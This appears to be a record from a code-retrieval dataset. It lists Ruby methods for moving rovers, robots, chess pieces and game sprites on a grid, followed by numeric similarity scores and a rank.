"def move\n if !destination.alive\n Game.scene.remove_object self\n else\n d_x, d_y = *destination.position\n b_x, b_y = *position\n \n if d_x.round == b_x.round and d_y.round == b_y.round\n finished\n else\n vlen = Math.sqrt((d_x - b_x)*(d_x - b_x) + (d_y - b_y)*(d_y - b_y))\n\t \n\t m_x = (d_x - b_x)*speed/vlen\n\t m_y = (d_y - b_y)*speed/vlen\n\t \n\t position[0] += m_x\n\t position[1] += m_y\n end\n end\n end",
"def move\n ##incrementing or decrementing eg. current_direction W,\n ##position_x decrementing by 1 (-=1)\n if @current_direction == \"N\"\n @position_y += 1\n puts \"#{@position_y}\"\n elsif @current_direction == \"E\"\n @position_x += 1\n elsif @current_direction == \"W\"\n @position_x -= 1\n elsif @current_direction == \"S\"\n @position_y -= 1\n end\n\n end",
"def move # takes (x, y, direction) from Rover\n\t\tif direction == \"N\"\n\t\t\t@y += 1\n\t\telsif direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif direction == \"S\"\n\t\t\t@y -= 1\n\t\telsif direction == \"E\"\n\t\t\t@x += 1\n\t\telse \n\t\t\treturn \"The input direction enterned is wrong\"\n\t\tend\n\tend",
"def move(x,y)\n @x +=x\n @y +=y\n end",
"def do_the_move(argument)\r\n color, row_s, col_s, row_e, col_e = strip_pos_argument(argument)\r\n start_item = @infosquare[row_s][col_s]\r\n end_item = @infosquare[row_e][col_e]\r\n if movetype == :shortcastle or movetype ==:longcastle\r\n move_castle(start_item, end_item)\r\n elsif movetype == :enpassant\r\n col_enp = end_item.col\r\n row_enp = start_item.row\r\n eated_item = @infosquare[row_enp][col_enp]\r\n eated_item.clear\r\n else\r\n BoardInfoItem.exchange(start_item, end_item)\r\n end\r\n @last_moved_item = end_item\r\n \r\n end",
"def move\n\n\t\t# check landmarks and error variation inputs\n\t\tif !in_range || @error < 0\n\t\t\tstr = check_inputs(\"Move\")\n\t\t\treturn str\n\t\tend\n\n\t\t# traverse points array from 1 to 30\n\t\t@points.each_with_index do |point, index|\n\n\t\t\t# assign 1 if sensor reads current point as included in error variation\n\t\t\tif readSensor(index)\n\t\t\t\tpoint = 1\n\t\t\t\t@points[index] = point\n\t\t\tend\n\t\tend\n\tend",
"def moveto(x, y)\n super\n center(x, y)\n make_encounter_count\n vehicle.refresh if vehicle\n @followers.synchronize(x, y, direction)\n end",
"def setup_move\n return unless PONY::ERRNO.check_sequence(current_act)\n stop_all_movements\n mx = @map_char.real_x + @acts[1]\n my = @map_char.real_y + @acts[2]\n goto(mx, my, @acts[3], @acts[4], @acts[5] || 0)\n end",
"def move_to who, ox, oy, nx, ny\n @current_level.move_to who, ox, oy, nx, ny\n end",
"def move(new_position)\n yield(new_position, self) if block_given?\n self.position = new_position\n self.moved = true\n nil\n end",
"def update_move\n if !@ch.moving? && @moves.size > 0\n @moves.shift if proccess_move(@moves[0])\n end\n end",
"def move_forward\n\t\tnew_position = forward_position\n\t\t@x = new_position[0]\n\t\t@y = new_position[1]\n\tend",
"def move_east\n @x += 1\n end",
"def move\n @coordinates[1] += 1 if @rover_facing == 'N'\n @coordinates[0] += 1 if @rover_facing == 'E'\n @coordinates[1] -= 1 if @rover_facing == 'S'\n @coordinates[0] -= 1 if @rover_facing == 'W'\nend",
"def change_direction\n @move_x = -@move_x\n @speed = -@speed\n end",
"def move!\n case @facing\n when Direction::NORTH\n @loc[:y] += 1 unless out_of_bounds? @loc[:x], @loc[:y] + 1\n when Direction::EAST\n @loc[:x] += 1 unless out_of_bounds? @loc[:x] + 1, @loc[:y]\n when Direction::SOUTH\n @loc[:y] -= 1 unless out_of_bounds? @loc[:x], @loc[:y] - 1\n when Direction::WEST\n @loc[:x] -= 1 unless out_of_bounds? @loc[:x] - 1, @loc[:y]\n else\n raise %q{Don't know which direction to move}\n end\n end",
"def tdd_fme_update_move\n @x = $game_map.round_x_with_direction(@x, @direction)\n @y = $game_map.round_y_with_direction(@y, @direction)\n\n @real_x += @velocity_x\n @real_y += @velocity_y\n end",
"def next_position\n\n # change the direction when the number of a half spin\n # has been walked. Also increase the number of steps\n # in the next turn accordingly.\n if @steps_of_half_spin == 0\n @max_steps_in_dir += 1\n @steps_of_half_spin = 2 * @max_steps_in_dir\n @move_right_or_up = !@move_right_or_up\n @steps = 0\n end\n @steps_of_half_spin -= 1\n\n if @move_right_or_up\n if @steps < @max_steps_in_dir\n @x += 1\n @steps += 1\n else\n # up\n @y += 1\n end\n Pos2.new(@x, @y)\n else\n if @steps < @max_steps_in_dir\n # left\n @x -= 1\n @steps += 1\n else\n # down\n @y -= 1\n end\n Pos2.new(@x, @y)\n end\n end",
"def forward\n\n\t\t#Could use case statement here\n\t\t# case (@angle.abs % 360)\n\t\t# \twhen 0 then x = @x + 1\n\t\t# \tetc...\n\t\t# end\n\n\t\t#Get new x\n\t\tx = @x + Math.cos(@angle * (Math::PI / 180)).round\n\n\t\t#Get new y\n\t\ty = @y + Math.sin(@angle * (Math::PI / 180)).round\n\n\t\t# This should perhaps be tested in the command method after each command\n\t\tif !isLostPoint(x, y) and !isLost(x, y) then\n\t\t\t@x = x\n\t\t\t@y = y\n\t\tend\n\n\tend",
"def move(x,y)\n self.dup.move!(x,y)\n end",
"def move\n\t\tif valid_move?\n\t\t\tputs \"\"\n\t\t\tif OS.mac?\n\t\t\t\tcmd = ('say \"roger-roger\"')\n\t\t\t\tsystem cmd\n\t\t\tend\n\t\t\tputs \"Roger, roger I\\'m moving forward one field!\"\n\t\t\tcase @robot_direction\n\t\t\twhen \"EAST\" then @x += 1\n\t\t\twhen \"WEST\" then @x -= 1\n\t\t\twhen \"NORTH\" then @y += 1\n\t\t\twhen \"SOUTH\" then @y -= 1\n\t\t\tend\n\t\telse\n puts \"This is the end of this world and I can't go further in this direction, please change direction\"\n\t\tend\n\tend",
"def move\n unless moved?\n offset = @deltas.pop\n @moved = true\n end\n end",
"def move_to(x, y, nb_frame)\n @moving = true\n @move_frame = nb_frame\n @move_total = nb_frame\n @new_x = x\n @new_y = y\n @del_x = self.x - x\n @del_y = self.y - y\n end",
"def forward_move\n case @facing\n when 'NORTH'\n @y += 1\n when 'SOUTH'\n @y -= 1\n when 'EAST'\n @x += 1\n when 'WEST'\n @x -= 1\n end\n self\n end",
"def move_to(x, y)\n object.x = x\n object.y = y\n end",
"def advance_position\n case @direction\n when :up\n new_position = [@position[0], @position[1] - 1]\n determine_heading(new_position)\n @position = new_position\n when :down\n new_position = [@position[0], @position[1] + 1]\n determine_heading(new_position)\n @position = new_position\n when :left\n new_position = [@position[0] - 1, @position[1]]\n determine_heading(new_position)\n @position = new_position\n when :right\n new_position = [@position[0] + 1, @position[1]]\n determine_heading(new_position)\n @position = new_position\n end\n @position\n end",
"def move\n case @toy_direction\n when \"NORTH\"\n new_place = [@toy_place[0], @toy_place[1] + 1]\n when \"EAST\"\n new_place = [@toy_place[0] + 1, @toy_place[1]]\n when \"SOUTH\"\n new_place = [@toy_place[0], @toy_place[1] - 1]\n when \"WEST\"\n new_place = [@toy_place[0] - 1, @toy_place[1]]\n end\n place_robot(new_place, @toy_direction)\n end",
"def walk\n case @direction\n when 'N'\n @y += 1\n when 'W'\n @x += 1\n when 'S'\n @y -= 1\n when 'E'\n @x -= 1\n end\n end",
"def move(direction, map)\n x = @x_location\n y = @y_location\n \n case direction\n when :north then y -= 1\n when :south then y += 1 \n when :west then x -= 1\n when :east then x += 1 \n end\n \n unless map[y][x].is_a_wall?\n @x_location = x\n @y_location = y\n end \n end",
"def move(x, y)\n orig_pos_x = @pos_x\n orig_pos_y = @pos_y\n\n self.pos_x = x\n self.pos_y = y\n\n [@pos_x - orig_pos_x, @pos_y - orig_pos_y]\n end",
"def move\n @glade['add_point'].sensitive = false\n @locate_thread = @planning.locate(@start, @finish) {move_finished}\n end",
"def move x, y\n put x, y # FIXME\n end",
"def move\n @tail = @location\n closest_food = detect_closest_food\n @location = calculate_next_location(closest_food)\n\n end",
"def move_rover()\n puts \"DEBUG: moving: #{@orientation}\" if DEBUG\n case @orientation\n when DIRECTION_EAST\n @position[:x] += 1 if @position[:x] < @map.width\n when DIRECTION_WEST\n @position[:x] -= 1 if @position[:x] > 0\n when DIRECTION_NORTH\n @position[:y] += 1 if @position[:y] < @map.height\n when DIRECTION_SOUTH\n @position[:y] -= 1 if @position[:y] > 0\n end\n puts \"DEBUG: position after move: #{@position}\" if DEBUG\n end",
"def user_move(start, finish)\n start , finish = Board.pos_to_coord(start), Board.pos_to_coord(finish)\n self[finish] = self[start]\n self[start] = NullPiece.instance\n self[finish].position = finish\n end",
"def move_to (x, y)\n @x, @y = x, y\n end",
"def moves\n # All pieces can stay in place\n [[0,0]]\n end",
"def moveto_newcell(direction)\n meadow = Meadow.instance\n meadow.remove_AntFromCell(self,@x,@y)\n\n if direction == 0 #up\n @y -= 1\n elsif direction == 1 #down\n @y += 1\n elsif direction == 2 #left\n @x -= 1\n else #right\n @x += 1\n end\n meadow.add_AntToCell(self,@x,@y)\n end",
"def move(forward)\n moves = [0, forward ? 1 : -1]\n moves.reverse! if @hor\n new_coord = @coord.add(moves + moves)\n set!(new_coord[0], new_coord[1], @hor)\n end",
"def change(move)\n value = self.dup\n value[0] += move[0]\n value[1] += move[1]\n Position.new(value)\n end",
"def move_to!(x, y, z)\n @a1[0] = @a2[0] = @b1[0] = @b2[0] = x\n @a1[1] = @a2[1] = @d1[1] = @d2[1] = y\n @a1[2] = @b1[2] = @c1[2] = @d1[2] = z\n @a2[2] = @b2[2] = @c2[2] = @d2[2] = @a2[2] + z\n @b1[1] = @b2[1] = @c1[1] = @c2[1] = @b2[1] + y\n @c1[0] = @c2[0] = @d1[0] = @d2[0] = @d2[0] + x\n self\n end"
] | [
"0.7213758",
"0.71215594",
"0.71100664",
"0.70682544",
"0.70358413",
"0.69651306",
"0.69095194",
"0.6902594",
"0.68794537",
"0.6872127",
"0.68545747",
"0.68417966",
"0.68076605",
"0.67825055",
"0.67440104",
"0.6738058",
"0.672289",
"0.6694248",
"0.6691358",
"0.66504025",
"0.6638948",
"0.6631589",
"0.6630736",
"0.66263705",
"0.66263705",
"0.6615491",
"0.6596714",
"0.6592876",
"0.65889734",
"0.6554926",
"0.65540916",
"0.655184",
"0.65469575",
"0.65468735",
"0.65468735",
"0.65358055",
"0.6512561",
"0.6497009",
"0.6496022",
"0.64948636",
"0.6494479",
"0.64896625",
"0.64875036",
"0.6476694",
"0.64739645",
"0.6471606",
"0.645945",
"0.6453416",
"0.64373887",
"0.6407193",
"0.6403337",
"0.64026225",
"0.6401866",
"0.639714",
"0.63945985",
"0.6394346",
"0.63873804",
"0.63790196",
"0.6374339",
"0.6368936",
"0.63603085",
"0.6357907",
"0.6354085",
"0.6348386",
"0.6347257",
"0.6336249",
"0.6335016",
"0.63105285",
"0.6308231",
"0.629942",
"0.6295462",
"0.62916726",
"0.6289546",
"0.62777483",
"0.6275997",
"0.6260068",
"0.62570757",
"0.62535",
"0.6252767",
"0.6241293",
"0.6239645",
"0.6233873",
"0.6232998",
"0.62280273",
"0.6224782",
"0.622106",
"0.62170386",
"0.62138677",
"0.62092096",
"0.62062126",
"0.61684614",
"0.6168159",
"0.61635894",
"0.6162753",
"0.61601686",
"0.6154899",
"0.61464506",
"0.6142749",
"0.614215",
"0.6141458"
] | 0.6300979 | 69 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.